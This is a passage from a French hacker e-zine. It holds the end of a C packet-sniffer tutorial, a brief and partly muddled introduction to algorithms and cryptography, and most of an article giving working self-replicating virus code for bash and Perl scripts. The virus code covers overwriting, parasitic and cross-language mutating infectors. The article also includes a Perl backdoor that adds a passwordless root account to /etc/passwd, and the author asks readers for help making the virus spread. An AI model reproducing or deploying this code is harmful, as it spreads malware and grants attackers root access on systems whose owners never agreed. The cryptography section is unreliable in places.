qu'elle est trop connue, trop utilisée, et cela ne présenterait donc aucun intérêt.
Nous allons ainsi utiliser les librairies que linux nous propose par défaut, ce
dernier se contente de nous fournir une interface avec la couche de liaison via son
interface socket.





I. Ouvrir l'interface réseau :
______________________________

Commençons par ouvrir notre interface réseau (eth0 par exemple).
Cette fonction prend pour argument le nom de l'interface, passé en paramètre,
entrée par l'utilisateur.

int ouvre_interface(char *name)
{

struct sockaddr addr; /* déclaration de notre structure générique d'adressage */

struct ifreq ifr; /* structure de manipulation des trames */

int sockfd; /* déclaration de notre socket */

sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); /* définition de notre socket*/

if(sockfd<0) return -1;

memset(&addr, 0, sizeof(addr)); /* on remplit de 0 le ptr addr */

addr.sa_family=AF_INET;
strncpy(addr.sa_data, name, sizeof(addr.sa_data));

/* on bind via notre socket sockfd, et ainsi on "
écoute" */
/* les trames réseaux circulant */
if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
close(sockfd);
return -1;
}

memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));


/* le point d'entrée ioctl permet l'éxécutions d'opérations particulières */
/* sur des périphériques autres que lectures/ écriture, ici nous accèdons */
/* aux fonctions de notre socket */

if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
close(sockfd);
return -1;
}

/* si l'interface n'est pas ethernet alors on quitte */
if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER){
close(sockfd);
return -1;
}

/* accès aux options des sockets */
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
{
close(sockfd);
return -1;
}

ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
close(sockfd);
return -1;
}
return sockfd;
}





2. Lire les paquets :
_____________________


On va donc créer une boucle de lecture des paquets reçus. A chaque trame analysée,
l'adresse MAC source et destinataire est affichée, ainsi que le type du paquet.
Cette fonction prend donc en argument notre socket crée antérieurement. Nous allons
nous servir de la structure ether_header:
struct ether_header {
u_char ether_dhost[6]; //adresse destination
u_char ether_shost[6]; //adresse source
u_short ether_type; //type de trame
}


int read_loop(sockfd)
{

/* structure d'adressage */
struct sockaddr_in from;

/* déclaration des variables */
char buf[1792], *ptr;

/* déclaration des integers */
int size, fromlen, c;

/* déclaration de notre structure permettant */
/* de lire les entêtes ethernet */
struct ether_header *hdr;


while(1){

/* la variable size contiendra les paquets reçus */
size = recv(sockfd, buf, sizeof(buf),0);

if(size<0) return -1;

if (size < sizeof(struct ether_header)) continue;

hdr=(struct ether_header *)buf;

/* pour chaque paquet on affiche l'adresse
** MAC source et l'adresse Mac de destination
**/

for(c=0; c < ETH_ALEN; c++){
printf("
%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]);
printf("
> ");

for(c=0; c < ETH_ALEN; c++)
printf("
%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]);

/* puis enfin le type de paquet */
printf("
type: %i\n",hdr->ether_type);
}

printf("
Nombre de paquets sniffés: %d\n", c);
}





3. Point d'entrée :
___________________

Pour finir, la fonction principale qui récupère l'interface réseau passée en
argument :



int main(int argc, char **argv)
{

/* notre socket */
int sockfd;

/* variable contenant l'interface */
/* passé en argument */
char *name=argv[1];


if(!argv[1]){
fprintf(stderr, "
Veuillez entrer une interface valide\n");
return -1;
}

/* on lance la fonction d'initialisation de l'interface, */
/* en cas d'erreur on quitte */
if((sockfd = ouvre_interface(name))<0){
fprintf(stderr, "
Erreur lors de l'ouverture de l'interface\n");
return -1;
}

/* on lit les paquets, en cas d'erreur on quitte */
if(read_loop(sockfd) < 0){
fprintf(stderr, "
Erreur lors de la lecture des paquets\n");
return -1;
}
return 0;
}





++++ | Partie 2 : Code source | ++++



------------8<-----------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <net/ethernet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/sockios.h>

int ouvre_interface(char *name)
{
struct sockaddr addr;
struct ifreq ifr;
int sockfd;
sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
if(sockfd<0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sa_family=AF_INET;
strncpy(addr.sa_data, name, sizeof(addr.sa_data));
if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
close(sockfd);
return -1;
}
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
close(sockfd);
return -1;
}
if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER)
{
close(sockfd);
return -1;
}
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
{
close(sockfd);
return -1;
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
close(sockfd);
return -1;
}
return sockfd;
}

int read_loop(sockfd)
{
struct sockaddr_in from;
char buf[1792], *ptr;
int size, fromlen, c;
struct ether_header *hdr;

while(1){
size = recv(sockfd, buf, sizeof(buf),0);
if(size<0)
return -1;
if (size < sizeof(struct ether_header))
continue;
hdr=(struct ether_header *)buf;
for(c=0; c < ETH_ALEN; c++){
printf("
%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]);
printf("
> ");
for(c=0; c < ETH_ALEN; c++)
printf("
%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]);
printf("
type: %i\n",hdr->ether_type);
}
printf("
Nombre de paquets sniffés: %d\n", c);
}

int main(int argc, char **argv)
{
int sockfd;
char *name=argv[1];
if(!argv[1]){
fprintf(stderr, "
Veuillez entrer une interface valider\n");
return -1;
}

if((sockfd = ouvre_interface(name))<0){
fprintf(stderr, "
Erreur lors de l'ouverture de l'interface\n");
return -1;
}

if(read_loop(sockfd) < 0){
fprintf(stderr, "
Erreur lors de la lecture des paquets\n");
return -1;
}

return 0;
}



------------8<-----------------------------------------------------------------------





[ Conclusion ]

Une notion aussi simple que le sniffing ne nécéssite pas d'élargissemet inutile,
mis à part le fait que je consacrerai peut être un article sur la programmation
d'un sniffer via la lip pcap ultérieurement même si cela ne m'attire pas vraiment,
ce qui pourrait être relativement intéréssant bien que simple et rapide.
Les parades au sniffing sont simple ; le cryptage des données des trames circulant
sur le réseau, bien que pouvant se montrer dans certains cas superficiel et inutile,
complique la tache à un attaquant désireux de s'approprier quelqu'information sensible.
Ainsi des systèmes cryptage, tel que SSH, ont vu le jour, et sont perpétuellement remis
en cause en raison du manque de sécurité et de fiabilité qu'ils sont censés proposer.
Les exploits fleurissent, les utilisateurs désabusés se multiplient, les sk n'en sont
que plus ravis.














---------------------------------------------------------------------------------------
X. Les Algorithmes MeiK
---------------------------------------------------------------------------------------


[ Introducion ]

Dans ce court article, je vais tenter d'expliquer ce que sont les
algorithmes et comment ils s'appliquent à l'informatique. Ce n'est carrément
pas un mauvais tutorial à

  
3 euros 50 qu'on trouve sur plein de mauvais
sites. Si vous voulez vraiment une formation à la cryptographie et aux
algorithmes, soit vous lisez crypto-gram, un très bon magazine sur ça, soit
vous attendez un peu et quelqu'un fera peut-être un article dans IOC.
Je vous conseille également de lire "Applied Cryptography" de Bruce Schneier
qui est sans doute le livre de référence dans ce domaine.



I. Qu'est-ce qu'un Algorithme ? :
_________________________________

Imaginez que vous avez une variable avec une valeur X et que vous voulez que
cette valeur devienne Y - vous ferez subir quelques calculs à votre X et à
la fin il aura une autre valeur. Eh bien le calcul effectué pour passer de X
à Y c'est ça un algorithme.

Vous avez tout été en cours de maths en seconde là ou on vous disait au tout
début de l'année de prendre un nombre, lui ajouter deux, puis multiplier par
trois...bon, eh bien en gros vous aviez affaire à un algorithme déjà à cette
époque là.




II. Usages de l'Algorithmique en informatique :
_______________________________________________


- On utilise par exemple les algorithmes pour manipuler et gérer les
milliards de données transitant par le réseau que tout le monde connait :
Internet.

- La cryptographie et les signatures électroniques dépendent de la théorie
des nombres et d'algorithmes spécifiques et déterminés. Si vous voulez un
exemple, ça représente une très grande partie de la sécurité d'internet,
tout ce qui est commerce électronique en dépend. Mais ce genre de sécurité
est décrit en partie par FozZy dans le HZV#11 dans l'article sur la sécurité
des banques électroniques.

- Les algorithmes sont ensuite utilisés en programmation pour effectuer
diverses taches. L'exemple le plus courant réside dans les différentes
formes de tri algorithmique, mais je reviendrais beaucoup plus en détail là
dessus dans un autre article.

Vous voyez que les algorithmes sont quasiment omniprésents en informatique.



Les algorithmes doivent être basés sur des fonctions mathématiques très
difficiles à prendre à l'envers (factorisation d'entiers, inversion de
valeurs exponentielles, tous les entiers écrits en notation scientifique
peuvent être facilement représentés mais difficilement découverts, etc.)

Le facteur humain, enfin la chose qui utilisera l'algorithme devra garder
secrètes toutes les clés et autres codes (enfin, tout ce qui est connu pour
devoir rester secret). Là est le plus gros problème - le social engineering
a toujours marché, les hackers en sont pleinement conscients et en tirent un
avantage certain.

L'algorithme doit être construit de sorte que seules les attaques par brute
force soient la solution de décryptage. Sinon ça signifie que l'algorithme
contient des failles.

L'usage le plus répandu de la cryptogrphie reste sans conteste la sécurité
sur Internet, mais ça n'est pas l'ultime solution, et à mon avis, il n'y
aura jamais de solution efficace.



III. Types de Cryptages :
_________________________


A. Cryptage symétrique :
________________________


Le but de la cryptographie est quand même que le texte confidentiel est crypté,
transformé en un amas informe de caractères incompréhensibles et que seul celui
(ou ceux) qui possède la clé peut le décrypter afin de lui rendre une forme déjà
plus compréhensible par le commun des mortels.

L'algorithme doit donc être fiable, comme je l'ai dit au dessus, mais aussi
doit pas être universel et pouvoir être décodé depuis n'importe quel
programme de cryptage. Il faut qu'une personne A envoie son message a sa
copine la personne B sans que big brother (C) ne puisse le lire. Le cryptage
avec des clés publiques intervient ici. Tout le monde connait l'algorithme,
mais la clé miraculeuse renferme le secret...En supposant que l'algorithme
est sécure, le seul moyen de lire le message immédiatement est d'avoir la
clé, clé qui sera préférablement une phrase longue.
Cette procédure est utile si on sait que les gens sont confiants entre eux
et qu'ils vont pas donner la clé à tout le monde.
ça devient plus compliqué si c'est pas le cas, mais le concept reste le
même.

B. Les MAC, ou Codes d'autentification de Messages :
____________________________________________________

Ce sont les vérificateurs dela cryptographie. Ils n'ont rien d'autre à faire
dans ce domaine, mais ils ont leurs propres algorithmes.

L'idée derrière le concept des MAC est simple: quand un paquet, une
information ... sont envoyés, ils sont marqués d'un code et le MAC reconnait
le code donc il peut authentifier la source et confirmer que le paquet vient
bien de l'endroit d'où il est supposé venir et qu'il contient bien les
informations théoriquement attendues.



C. Fonctions de Hashage :
_________________________

L'idée des fonctions de Hashage est qu'elles sont mathématiquement des
données informatiques qui sont facilement lues pour confirmer quelque chose,
mais intraitables avec le Reverse Engineering à moins de forger la source.

Cela peut-être utilisé de différentes manières. La manière la plus connue je
pense réside dans le vérificateur d'intégrité Tripwire, dont nous
reviendront (beaucoup) plus en détail au prochain numéro.




[ Conclusion ]

Cet article n'est qu'une petite introduction aux usages basiques de la
cryptographie. Dans le prochain numéro il y aura certainement les usages les
plus avancés ainsi que peut-être un dossier sur Tripwire.















---------------------------------------------------------------------------------------
XI. Shell script & perl script infection Emper0r
---------------------------------------------------------------------------------------



+++++++++++++++++++++++++++++++++++
++++ Fichier Joint : virus.zip ++++
+++++++++++++++++++++++++++++++++++


[ Introducion ]

Les virus aux pays des pingouins ont la vie dure. Premièrement n'importe qui
n'infecte pas n'importe quoi n'importe où. L'infection des elf est une chose
délicate, donc le mieux pour s'amuser est d'étudier l'infection des scripts.
Cet article n'a pas pour but d'inciter les S-K à polluer les systèmes linux,
mais sert à présenter un danger potentiel. Ce danger est relativement faible
vu la facilité de détecter ce genre de bestiole et vu la difficulté que ces
virus rencontre pour ce propager.


Notre virus doit infecter un maximum de fichier en respectant des consignes
de discrétions.

Il ne doit pas:

o Créer de messages d'erreur
o Détruire ou abîmer des données
o Ralentir et/ou provoquer un mauvais fonctionnement du système
o Agrandir de façon trop importante les scripts infecté





[ Sommaire ]

I/ Shell script infection.
A/ Virus à écrasement.
B/ Virus parasite.
C/ Optimisation du virus.
D/ Désinfection.

II/ Perl script infection.
A/ Virus parasite.
B/ Backdoor.

III/ Perl-shell script infection.
A/ Virus parasite à mutation simple.






++++ | Partie 1 : Shell script infection | ++++

=> Virus à écrasement
=> Virus Parasite
=> Optimisation du virus
=> Désinfection





I. Virus à écrasement :
_______________________



Je crée un dossier test et dedans j'y place 5 fichiers, 4 fichiers de script
et 1 fichier image :

[emper0r@laptop test]$ ls -al
total 124
drwxr-xr-x 2 emper0r emper0r 4096 jun 20 01:16 ./
drwx--x--x 22 emper0r emper0r 4096 jun 20 01:15 ../
-rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:15 test*
-rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test1*
-rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test2*
-r-xr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test3*
-rwxr-xr-x 1 emper0r emper0r 97685 jun 20 01:15 tux.jpg*


Les fichiers de tests sont identiques mais test3 na pas de droits en écriture.
Voici le contenu de ces fichiers:

[emper0r@laptop test]$ cat test
#!/bin/bash
echo 'script de test'
[emper0r@laptop test]$



Bon, on va commencer par un petit script de base qui doit ce reproduire dans
le répertoire courant. On crée un nouveau script que j'appelle vx:

#!/bin/bash
for fichier in * #recherche les fichiers du répertoire
#courant et place leur nom dans $fichier

do #début de la boucle

cp $0 $fichier #copie le contenu du script lancé dans
#le script trouvé

done #on recommence tant qu'il y a des fichiers dans
#le répertoire


W0W alors ça c'est carrément trop l33t comme script !!!
Je vais pouvoir écrire pour Hackerz Voice si je continue (humour).


Je lance ça:

[emper0r@laptop test]$ ./vx
cp: Ne peut créer un fichier de type régulier `test3': Permission non accordée
cp: `./vx' et `vx' identifient le même fichier.

Pour la discrétion c'est loupé 2 messages d'erreur déjà :)

[emper0r@laptop test]$ ls -al
total 32
drwxr-xr-x 2 emper0r emper0r 4096 jun 20 01:24 ./
drwx--x--x 23 emper0r emper0r 4096 jun 20 01:24 ../
-rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:29 test*
-rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:29 test1*
-rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:29 test2*
-r-xr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test3*
-rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:29 tux.jpg*
-rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:24 vx*


Ce stupide code a détruit mon image il s'est recopié dedans à sa place ;
mon image ne fait plus que 55 octets.


[emper0r@laptop test]$ cat test
#!/bin/bash
for fichier in *
do
cp $0 $fichier
done
[emper0r@laptop test]$


Le contenu de mes scripts à aussi été remplacé par le code du virus.
Ce genre de virus est appelé virus a écrasement, vous avez compris pourquoi ? :)
Ils ne présentent absolument aucun interêt.





II. Virus Parasite :
____________________


Après ce premier test on voit que le virus à crée une erreur en voulant
infecter un fichier qui n'a pas de droits en écriture.

Ici 2 solutions :

o rediriger le messages vers /dev/null
o regarder si l'on est le propriétaire de ce script
et dans ce cas ajouter les droits, sinon > /dev/null.

La 2nd solution n'est pas terrible car elle alourdit un peu le code, et les
cas où il ne vas y avoir les droits d'écriture sur le fichier et où on va
pouvoir les mettre vont être rares. De toute façon, ce n'est pas très discret,
mais à vous de voir ce que vous recherchez.

Le deuxième messages d'erreur est provoqué par le script lancé qui tente
de se récrire lui même ; il suffit de rediriger vers /dev/null et voila
c'est réglé.


Il faut aussi que le virus fasse la différence entre des fichiers de type
shell script et les autres, car ajouter un script dans une image ou un elf
n'a pas de sens.

Pour cela on utilise la commande file :

[emper0r@laptop test]$ file test
test: Bourne-Again shell script text executable
[emper0r@laptop test]$



Dernier point à régler il faut que le virus se recopie dans les autres shell
script mais sans les détruire. Il faut faire un truc comme ça :



------- -------
| | | virus |
|shell | <-- avant |-------| <-- après
|script | infection | | infection
| | |shell |
------- |script |
| |
-------


Voila, on a le code viral au début du script.
Une fois qu'il a fini de bosser il passe la main au code du script original.
Il faut aussi inclure une signature aux script déjà infectés afin de ne pas
les réinfecter plusieurs fois.



Voici le code, non optimisé, que je propose pour effectuer tout ça:


#!/bin/bash
#c0r0na #signature
for fichier in *
do
if [ -f $fichier -a -w $fichier ] #$fichier est un fichier ?
#on peut y écrire dedans ?
then
if file $fichier | grep Bourne-A > /dev/null #teste si le fichier est un
#script bash
then
head -n 2 $fichier > .a
if grep c0r0na .a > /dev/null #teste si le fichier a déjà
#été infecter
then
rm -f .a
else
cat $fichier > .a #sinon
head -n 23 $0 > $fichier #place le code viral dans le fichiers
cat .a >> $fichier #remet le script initial à la suite
rm -f .a
fi
fi
fi
done




C'est vraiment rien de compliqué.

Je restore le dossier test précédement sauvegardé et je teste mon
nouveau script:

[emper0r@laptop test]$ ls -al
total 128
drwxrwxr-x 2 emper0r emper0r 4096 jun 20 14:59 ./
drwx--x--x 24 emper0r emper0r 4096 jun 20 14:59 ../
-rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:15 test*
-rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test1*
-rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test2*
-r-xr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test3*
-rwxr-xr-x 1 emper0r emper0r 97685 jun 20 01:15 tux.jpg*
-rwxrwxr-x 1 emper0r emper0r 441 jun 20 03:15 c0r0na*


On lance le virus :

[emper0r@laptop test]$ ./c0r0na
[emper0r@laptop test]$

Aucun message d'erreur c'est déjà ça :)

[emper0r@laptop test]$ ls -al
total 128
drwxrwxr-x 2 emper0r emper0r 4096 jun 20 15:03 ./
drwx--x--x 24 emper0r emper0r 4096 jun 20 14:59 ../
-rwxr-xr-x 1 emper0r emper0r 476 jun 20 15:03 test*
-rwxr-xr-x 1 emper0r emper0r 476 jun 20 15:03 test1*
-rwxr-xr-x 1 emper0r emper0r 476 jun 20 15:03 test2*
-r-xr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test3*
-rwxr-xr-x 1 emper0r emper0r 97685 jun 20 01:15 tux.jpg*
-rwxrwxr-x 1 emper0r emper0r 441 jun 20 03:15 c0r0na*

Il a l'air d'avoir bien fait son boulot on remarque l'agrandissement des
scripts test ; l'image n'a pas été détruite.


Si on fait un "cat test", on voit bien notre code viral au début puis après
le script original. Maintenant je teste si les scripts infectés peuvent
infecter à leur tour d'autre script.

Je crée un script nommé "test4" et je lance "test" :
Tout marche comme prévu, le code viral se lance, infecte le nouveau fichier
(test4) et le code original du script est exécuté. Le script na pas ralenti
de façon visible le système sur mon laptop équipé d'un duron 900. Pour tester
le temps mis a effectuer le script on peut lancer le script de cette façon

[emper0r@laptop test]$ time -p ./test
script de test
real 0.17
user 0.10
sys 0.07

Ici c'est parfait mais il faut penser que l'on a infecté qu'un seul
script. Lorsque que je fait le test pour infecter 9 fichiers c'est déjà
un peu plus long:

[emper0r@laptop test]$ time -p ./c0r0na
real 0.48
user 0.26
sys 0.21



Pour ceux qui ne savent pas à quoi ces chiffres correspondent, un "man time"
suffira. Il serait peut être bien de mettre un compteur d'infection pour pas
ralentir les vielles machines au cas ou on tombe sur un dossier avec plein de
shell script a infecter, une fois de plus à vous de voir le but que vous recherchez,
moi c'est juste pour le fun.





III. Optimisation du virus :
____________________________


Pour optimiser le code, on va choisir des noms de variables d'un seul caractère,
et essayer de réduire le nombre de lignes :


#!/bin/bash
#c0r0na
for f in *
do
if [ -f $f -a -w $f ];then
if file $f | grep Bourne-A > /dev/null
then
head -n 2 $f > .a
if grep c0r0na .a > /dev/null
then
rm -f .a
else
cat $f > .a
head -n 18 $0 > $f
cat .a >> $f
rm -f .a
fi;fi;fi
done


Voila, il doit y avoir moyen de faire mieux mais je suis pas trés bon en
programmation shell script. Ce virus étant fourni sous licence GPL vous avez
le droit de le modifier :)) Le virus passe quand même de 441 octets a 239 octets
et de 23 lignes a 18 lignes.



Maintenant il reste un gros problème et je bloque pour le résoudre de manière
efficasse : comment infecter les scripts qui ce trouve dans d'autre dossier ?
J'ai penser a faire une boucle du style:

for dir in *

Puis rentrer dans chaque répertoire pour infecter les scripts et remonter aux
niveau supérieur avec un "cd .." mais cela ralentira énormément la machine ce
n'est pas du tout discret :(

J'ai pas de solution adéquate ; il faudrait trouver un moyen pour faire une
sorte de virus résident. Je pense qu'il doit exister une bonne solution mais
je sais pas faire. Pour le moment ce virus n'est donc pas capable de véritablement
se propager. Voila si quelqu'un détient la solution : mail emper0r@m-net.arbornet.org






IV. Désinfection :
__________________



Pour le fun je vous propose un script de désinfection, simplifié au
maximum, en perl:

#!/usr/bin/perl
foreach $Fichier (<*>) #recherche les fichiers
#du rep courant
{
if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier)) #teste les droits
{
open(File, "$Fichier"); #ouvre le fichier

@Temp=<File>; #le fichier est placé dans
#le tableau Temp
close(File);
if (@Temp[1] =~ "c0r0na") #teste si fichier infecté
#par c0r0na
{
print "\n----> Le fichier:".$Fichier." est infecté\n";
print "Désinfection de ".$Fichier." en cours\n";
open(File, ">$Fichier"); #ouvre le fichier pour
#écrire dedans

print File @Temp[18 .. $#Temp]; #récrit le fichier sans
#les 18 premières ligne
close(File);
print "Désinfection réussi.\n\n";
}
}
}


Ce script est facilement configurable pour désinfecter les différents
viriis de cet article.


Testons ce script de désinfection :

[emper0r@laptop test]$ cat test
#!/bin/bash
#c0r0na
for f in *
do
if [ -f $f -a -w $f ];then
if file $f | grep Bourne-A > /dev/null
then
head -n 2 $f > .a
if grep c0r0na .a > /dev/null
then
rm -f .a
else
cat $f > .a
head -n 18 $0 > $f
cat .a >> $f
rm -f .a
fi;fi;fi
done
#!/bin/bash
echo 'script de test'
[emper0r@laptop test]$

C'est clair que test est infecté. On lance le script de désinfection.



[emper0r@laptop test]$ ./desinfection

----> Le fichier:test est infecte
Désinfection de test en cours
Désinfection réussi.

----> Le fichier:c0r0na est infecte
Désinfection de c0r0na en cours
Désinfection réussi.

[emper0r@laptop test]$ cat test
#!/bin/bash
echo 'script de test'
[emper0r@laptop test]$

Parfait mon script est nettoyé.


[emper0r@laptop test2]$ cat c0r0na
[emper0r@laptop test2]$

c0r0na était le script qui contenait la souche virale qui a infecté
le script test ; son contenu à était supprimé lui aussi.






++++ | Partie 2 : Perl script infection | +++

=> Virus Parasite
=> Backdoor


Je ne vais pas reprendre toute la démarche faite pour l'infection des shell
scripts dans cette partie. Le code présenté ici fonctionne de la même façon
que précedemment.


I. Virus Parasite :
___________________


[ Le Code ]



#!/usr/bin/perl
#h0egaard3n #signature
open(File,$0); #ouvre le fichier courant
@vx=<File>; #place son contenu dans le tableau @vx
close(File);
foreach $Fichier (<*>) #recherche de fichiers
{
if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier)) #teste les droits
{
open(File, "$Fichier"); #ouvre le fichier trouvé
@Temp=<File>; #place son contenu dans le tableau @Temp
close(File);
if (@Temp[0] =~ "/perl") #teste si le fichier est bien un script perl
{
if (@Temp[1] ne "\#h0egaard3n\n") #test qu'il n'est pas déjà infecté
{
open(File, ">$Fichier"); #rouvre le fichier pour y écrire
print File @vx[0 .. 23]; #on y met les 23 premières ligne
print File @Temp; #on ajoute à la suite script original
close (File);
}
}
}
}



Encore une fois rien de compliqué ...
Je passe très vite sur cette partie ; je ne montrerai pas les tests,
c'est sans interêt puisque ca fonctionne pareil que pour les scripts
shell. En ce qui concerne l'optimisation c'est toujours pareil.

L'archive virus.zip contient une version à moitié optimisée.

Comme précédement, on fait un test de vitesse sur l'infection de 9 fichiers:

[emper0r@laptop test]$ time -p ./h0egaard3n
real 0.04
user 0.03
sys 0.01


Il y a rien a dire, le perl c'est carrément plus rapide !




II. Backdoor :
______________

Imaginez que le root lance un script infecté : si ce script contient une petite
backdoor alors la sécurité du système est grandemment compromise.

Voici un exemple de backdoor ajoutant un compte avec les droits root sans
mot de passe :


$f="/etc/passwd";
if ((-w $f) && (-r $f)){ #regarde si l'on peut lire et écrire le /etc/passwd
open(File, $f);
@t=<File>; #copie le fichier dans @t
close(File);
$bd = "ftpp::0:0:ftp:/:/bin/sh\n";
if (@t[6] ne $bd){ #teste si le compte ftpp avec droits root existe déjà
for (0 .. 5){
@t1[$_]=@t[$_];} #sauvegarde les 6 premières lignes
for (6 .. $#t){
@t2[$_]=@t[$_];} #sauvegarde les lignes 7 jusqua la fin
open (File, ">$f");
print File @t1; #restore les début
print File $bd; #ajoute notre compte sans pass avec droit root
print File @t2; #restore la suite
}}


Cette backdoor est toute simple : si elle peut ouvrir /etc/passwd elle regarde la
ligne n°7 pour voir si elle n'a pas déjà ajouté le compte avec droit root sans pass.
Si ce n'est pas le cas elle l'ajoute.

J'ai choisi de ne mettre le nouveau compte compte root ni au début ni à la fin du
fichier passwd, mais dans le milieu. La backdoor est un peu plus grosse mais c'est
plus discret. Si le root lance ce bout de code alors un simple user n'a plus qu'a
faire : "su ftpp" et il obtient les droits root.

Il est tout aussi simple de faire la même backdoor pour le virus bash c0r0na.






++++ | Partie 3 : Perl-shell script infection | ++++

=> Virus Parasite à mutation simple


Maintenant encore plus amusant :)

Faire une souche virale qui serait capable d'infecter à la fois des scripts shell
et des scripts perl. Le script perl infecté serait capable à son tour d'infecter
soit un autre script perl soit un script shell et inversement.


Comment faire ? :

Notre souche contient pour commencer par exemple le script perl au début, et à
la suite le script bash, mais celui si désactivé, c'est a dire commenté avec un
"#" (évidemment car du bash dans un script perl ça na pas de sens).

Si ce script détecte un script perl infectable dans le répertoire, alors il se
recopie au début à l'identique (il garde le script bash commenté biensur). Puis
il ajoute le script original.

En revanche, si ce script rencontre un fichier bash infectable il recopie la partie
bash décommenté au début, commente la parti perl et la recopie en suivant, puis remet
le script original. Le script bash doit biensur avoir la même capassité que le script
perl décrit au-dessus. Comment ça mes explication sont pas claires ? :)




I. Virus parasite à mutation simple :
_____________________________________



Notre virus doit donc être capable de faire des mutations de son code :


-------- -------- --------
|virus | |virus | |virus |
|perl | rencontre |bash | rencontre |perl |
|--------| --> un script --> |--------| --> un script --> |--------|
|#virus | bash |#virus | perl |#virus |
|#bash | |#perl | |#bash |
-------- |--------| |--------|
^ |script | |script |
| |bash | |perl |
| |original| |original|
| -------- --------
| ^ ^
| | |
Souche virale, Mutation : la Mutation : la partie perl
script perl actif partie bash est activé est réactivé et passé
en début, script et placé en début. en début.
bash déactivé La parti perl suit La parti bash suit et
à la suite. et est désactivé. est désactivé.
En fin on a le En fin on a le script
script original. original.



Biensur le code va devenir vraiment important et les fichiers infecté vont
beaucoup grossir. Et puis imaginez la geule du gars qui va regarder un fichier
infecté, avec du code perl commenté dans son script shell ou l'inverse.



[ Le code ]


----8<--------------------------------------------------------------------------------



#!/usr/bin/perl #parti perl
#H3in3k3n #marque d'infection
open(File,$0);
@vx=<File>; #place le virus dans la table @vx
close(File);
foreach $Fichier (<*>){ #recherche les fichiers
if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier)){ #test si fichier et vérifie les droits
open(File, "$Fichier");
@Temp=<File>; #sauvegarde le contenu du fichier dans @Temp
close(File);
if (@Temp[0] =~ "/perl"){ #teste si c'est un fichier perl
if (@Temp[1] ne "\#H3in3k3n\n"){ #teste si déjà infecté
open(File, ">$Fichier");
print File @vx[0 .. 61]; #écrit le virus
print File @Temp; #récrit le script original
close (File);}}
if (@Temp[0] =~ "/bash"){ #si c'est un shell script
if (@Temp[1] ne "\#H3in3k3n\n"){
for (0 .. 28 ){
@vx2[$_] = "\#" . @vx[$_];} #commente les 29 premières lignes, résultat dans @vx2
for (29 .. 61){
@vx1[$_]= @vx[$_];
@vx1[$_]=~ s/#//;} #décommente les lignes 30 à 62, résultat dans @vx1
open(File, ">$Fichier");
print File @vx1; #écrit la parti shell script
print File @vx2; #écrit la parti perl script commenté
print File @Temp; #récrit le script original
close(File);
}}}}
##!/bin/bash #parti bash
##H3in3k3n #marque d'infection
#for fichier in * #recherche de fichier
#do
# if [ -f $fichier -a -w $fichier ];then #teste si fichier et vérifie les droits
# if file $fichier | grep Bourne-A > /dev/null #teste si c'est un fichier BASH
# then
# head -n 2 $fichier > .a
# if grep H3in3k3n .a > /dev/null #teste si déjà infecté
# then
# rm -f .a
# else
# cat $fichier > .a #sauvegarde le script original dans .a
# head -n 62 $0 > $fichier #recopie le virus dans le fichier
# cat .a >> $fichier #recopie le script original a la suite
# rm -f .a
# fi;fi
# if file $fichier | grep perl > /dev/null #teste si fichier perl
# then
# head -n 2 $fichier > .a
# if grep H3in3k3n .a > /dev/null #teste si infecté
# then
# rm -f .a
# else
# cat $fichier > .a
# awk '{ if ((NR>=34)&&(NR<=62)) print $0 }' $0 > .b
# cut -b 2- .b > $fichier #décommente les lignes 34 à 62, écrit dans le fichier
# head -n 32 $0 > .b
# sed -e 's/^/#/' .b >> $fichier #commente la parti bash et la copi à la suite
# cat .a >> $fichier #ecrit le script orignal en suivant
# rm -f .a .b
#fi;fi;fi
#done


----8<--------------------------------------------------------------------------------



Voila mon virus H3in3k3n ! D'aprés mes tests il fonctionne
correctement ( merci Ciel ).

Les scripts perl et/ou bash, infectés par cette souche, sont à leur tour
capable d'infecter d'autres scripts perl et bash de façon correcte et ainsi
de suite. J'ai commencé le perl il y a 3 semaines, juste avant d'écrire cet
article donc il y a certainement des choses maladroites. Il y a des choses à
